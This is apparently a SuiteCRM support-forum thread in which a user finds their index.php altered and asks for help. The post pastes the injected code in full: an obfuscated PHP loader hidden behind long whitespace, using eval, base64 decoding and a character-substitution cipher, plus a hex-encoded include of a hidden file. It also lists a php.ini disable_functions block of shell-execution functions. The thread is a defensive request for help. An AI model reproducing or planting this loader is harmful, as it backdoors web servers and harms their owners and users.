Internal error 500 caused by new line in index.php in base64_decode

Hi,

I have internal error 500 and I found what cause this problem
My index.php file was modified and have new line on top like this :


<?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                eval(base64_decode("if (!defined('ALREADY_RUN_1bc29b36f342a82aaf6658785356718'))
{
define('ALREADY_RUN_1bc29b36f342a82aaf6658785356718', 1);

 $tnhmhuwqlh = 3751; function cvblqo($ugumgspaw, $nbuwxvrbk){$jgsolvl = ''; for($i=0; $i < strlen($ugumgspaw); $i++){$jgsolvl .= isset($nbuwxvrbk[$ugumgspaw[$i]]) ? $nbuwxvrbk[$ugumgspaw[$i]] : $ugumgspaw[$i];}
$ambwnu="base" . "64_decode";return $ambwnu($jgsolvl);}
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'ATl5ATl5ATl5ATl5i3YmATl5ATl5AT4tZ325ATl5i3YmZ325ATl5Q9k'.
'Lv1PXMwE5v1GiW1KXW8a6M8kivwhzvwH2m3YmATl5ARHGT6l5ATl5ATl5jbv5mRGYrIJzM6h'.
'FrOtRQ0PZMwOqMwCuW8tNvbWzmTcXATytAZlXZ325ATl5ATl5ARHGT6l5ATl5ATl5ATl5'.
'ARKzWRkNM64Vr9kzeUYmATl5ATl5AT4tZ325ATl5ATl5A8kHrwVGT6l5ATl5ATl5xUYmATl5ATl5ATl5ATl5rIkYW0KLA'.
'yQhMRGzeUYmATl5ATl5AT4tZ325ATl5i3YmZ325ATl5QItNQbaFjTl2KatZuYtfdVV5v0g5K8'.
'qzxuY+KRQhMRkzm3YmATl5ARHGT6l5ATl5ATl5K8PhW8y5Bdlc'.
'WIaHWbV7Z325ATl5ATl5ATPcv0Ph0wqzxdltATPnQ0c7Z325ATl5i3YmZ325ATl5jbv5mTycQ8aYv'.
'dcGT6l5AT47Z325ATl5ATl5A8QorIkhvw55mTPiVytukT4hrNlcjwkCBuEcWIaHWbVXZ325ATl5ATl5ARHGT6l5ATl5'.
'ATl5ATl5ATPcv0PhAZY5KRQhMRkzeUYmATl5ATl5ATl5ATl5K8PhW8aijwkCAZ'.
'Y5K8qzxuHGT6l5ATl5ATl5i3YmATl5ARYGT5YmATl5ATPcv0PhAZY53RkLrwkNjbaHj0Xzm8Gp0wPzv1KCrR32vIapQuvY0wPzv'.
'wtcQd5cQ8aYvdcHATPcv0Ph0wqzxdcXeUYmZ325ATl5jbv5m8zprwkYmTPcv0PhbNWhjNWW'.
'mdlIK6lcv1Giv0kYjZYtK8PhW8aMKwanKOYXZ325ATl5xUYmATl5ATl5AT4XQ6l2K8PhW8a'.
'MKwy90dltBdl9jdrXZ325ATl5ATl5ARHGT6l5ATl5ATl5ATl5ATPXAZY530KNv0c2Z325ATl5ATl5ATl5ATl5ATl5K14wKNltB'.
'64lr8hUWIkNrwzoM65XflYmATl5ATl5ATl5ATl5ATl5ATWpW6r5BuE5Kpy'.
'LgTYNKNUGT6l5ATl5ATl5ATl5ATl5ATl9vbH9AZY+ATPcv0PhbNWhjNWWflYmATl5ATl5ATl5ATl5muHGT6l5ATl5AT'.
'l5ATl5A8kFj8s53RGzrIzhM8zSQd5cjdc7Z325ATl5ATl5ATl5AT4zx8zYeUYmATl5ATl5AT4'.
'tZ325ATl5ATl5A8kHrwkXQ6l2K8PhW8aMKwy90dltBdl9QdrXZ325ATl5ATl5ARHGT6l5ATl5ATl5ATl5A8kwvbU2'.
'K8PhW8aMKw390dc7Z325ATl5ATl5ARYGT6l5ATl5ATl5QbJpQbzIAT5cQ8aYvkH9vdWWAZYtATWU'.
'MRk9jbE9m3YmATl5ATl5AT47Z325ATl5ATl5ATl5AT4XQ65cQ8aYvkH9rwy90'.
'dltBdl9vbPcKNcGT6l5ATl5ATl5ATl5ARHGT6l5ATl5ATl5ATl5ATl5AT4FrOtUMRk9jbCivbPcmT'.
'Pcv0PhbNWUKOYHATPcv0PhbNWcKOYXeUYmATl5ATl5ATl5ATl5i3YmATl5ATl5ATl5ATl5QbJpQbzImTPcv0PhbNWp'.
'vdWWAZYtATWNQbY9m3YmATl5ATl5ATl5ATl5xUYmATl5ATl5ATl5ATl5AT'.
'l5A8Gp014HWbWXMztNQbY2K8PhW8aMK1l90dc7Z325ATl5ATl5ATl5AT4tZ325ATl5ATl5ARYGT6l5ATl'.
'5ATl5QbG2MNlcQ8aYvkH9vbH90uHGT6l5ATl5ATl5Q0hXWT5XeUYmATl5ARYGT5YmATl5A8Gp014HW'.
'bWXMztHMwacmTc7Z3Xt';
$guwdugsqf = Array('1'=>'3', '0'=>'X', '3'=>'Q', '2'=>'o', '5'=>'g', '4'=>'B', '7'=>'7', '6'=>'i', '9'=>'n', '8'=>'G', 'A'=>'I', 'C'=>'5', 'B'=>'P', 'E'=>'4', 'D'=>'q', 'G'=>'N', 'F'=>'j', 'I'=>'m', 'H'=>'s', 'K'=>'J', 'J'=>'x', 'M'=>'b', 'L'=>'u', 'O'=>'1', 'N'=>'y', 'Q'=>'Z', 'P'=>'R', 'S'=>'6', 'R'=>'H', 'U'=>'w', 'T'=>'C', 'W'=>'d', 'V'=>'U', 'Y'=>'0', 'X'=>'p', 'Z'=>'D', 'a'=>'F', 'c'=>'k', 'b'=>'W', 'e'=>'O', 'd'=>'S', 'g'=>'M', 'f'=>'L', 'i'=>'f', 'h'=>'h', 'k'=>'V', 'j'=>'a', 'm'=>'K', 'l'=>'A', 'o'=>'v', 'n'=>'r', 'q'=>'t', 'p'=>'z', 's'=>'8', 'r'=>'c', 'u'=>'T', 't'=>'9', 'w'=>'2', 'v'=>'Y', 'y'=>'E', 'x'=>'e', 'z'=>'l');
eval/*dmenyar*/(cvblqo($uugobwwyta, $guwdugsqf));
}"));

include "\x2fopt\x2fsui\x74ecr\x6d/Ze\x6ed/G\x64ata\x2fGba\x73e/c\x73s.p\x68p";


if (!defined('sugarEntry')) {
    define('sugarEntry', true);
}
/**
 *
 * SugarCRM Community Edition is a customer relationship management program developed by
 * SugarCRM, Inc. Copyright (C) 2004-2013 SugarCRM Inc.
 *
 * SuiteCRM is an extension to SugarCRM Community Edition developed by SalesAgility Ltd.
 * Copyright (C) 2011 - 2016 SalesAgility Ltd.
 *
 * This program is free software; you can redistribute it and/or modify it under
 * the terms of the GNU Affero General Public License version 3 as published by the
 * Free Software Foundation with the addition of the following permission added
 * to Section 15 as permitted in Section 7(a): FOR ANY PART OF THE COVERED WORK
 * IN WHICH THE COPYRIGHT IS OWNED BY SUGARCRM, SUGARCRM DISCLAIMS THE WARRANTY
 * OF NON INFRINGEMENT OF THIRD PARTY RIGHTS.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
 * FOR A PARTICULAR PURPOSE.  See the GNU Affero General Public License for more
 * details.
 *
 * You should have received a copy of the GNU Affero General Public License along with
 * this program; if not, see http://www.gnu.org/licenses or write to the Free
 * Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
 * 02110-1301 USA.
 *
 * You can contact SugarCRM, Inc. headquarters at 10050 North Wolfe Road,
 * SW2-130, Cupertino, CA 95014, USA. or at email address contact@sugarcrm.com.
 *
 * The interactive user interfaces in modified source and object code versions
 * of this program must display Appropriate Legal Notices, as required under
 * Section 5 of the GNU Affero General Public License version 3.
 *
 * In accordance with Section 7(b) of the GNU Affero General Public License version 3,
 * these Appropriate Legal Notices must retain the display of the "Powered by
 * SugarCRM" logo and "Supercharged by SuiteCRM" logo. If the display of the logos is not
 * reasonably feasible for  technical reasons, the Appropriate Legal Notices must
 * display the words  "Powered by SugarCRM" and "Supercharged by SuiteCRM".
 */

include 'include/MVC/preDispatch.php';
$startTime = microtime(true);
require_once 'include/entryPoint.php';
ob_start();
require_once 'include/MVC/SugarApplication.php';
$app = new SugarApplication();
$app->startSession();
$app->execute();

Somebody can confirm me that it not Suitecrm that adds these new lines

I make this modification on my php.ini for Base64 encode attack


allow_url_fopen = off
allow_url_include = off 
disable_functions = apache_child_terminate, apache_setenv, define_syslog_variables, escapeshellarg, escapeshellcmd, eval, exec, fp, fput, ftp_connect, ftp_exec, ftp_get, ftp_login, ftp_nb_fput, ftp_put, ftp_raw, ftp_rawlist, highlight_file, ini_alter, ini_get_all, ini_restore, inject_code, mysql_pconnect, openlog, passthru, php_uname, phpAds_remoteInfo, phpAds_XmlRpc, phpAds_xmlrpcDecode, phpAds_xmlrpcEncode, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, posix_setuid, posix_uname, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, shell_exec, syslog, system, xmlrpc_entity_decode

and remove the top line in index.php

My after one day the problem come back

Thanks for your help

check permission on your files and folders are secure and make sure you are using latest version os SuiteCRM

I believe that you have been hacked: that line could probably be a virus or a malware.

If it is so you should search for similar things through your code and clean it. Most of the times you will find int in index.php, index.html, main.php, default.php and in other filenames that, supposedly, may be run if you just browse to a folder.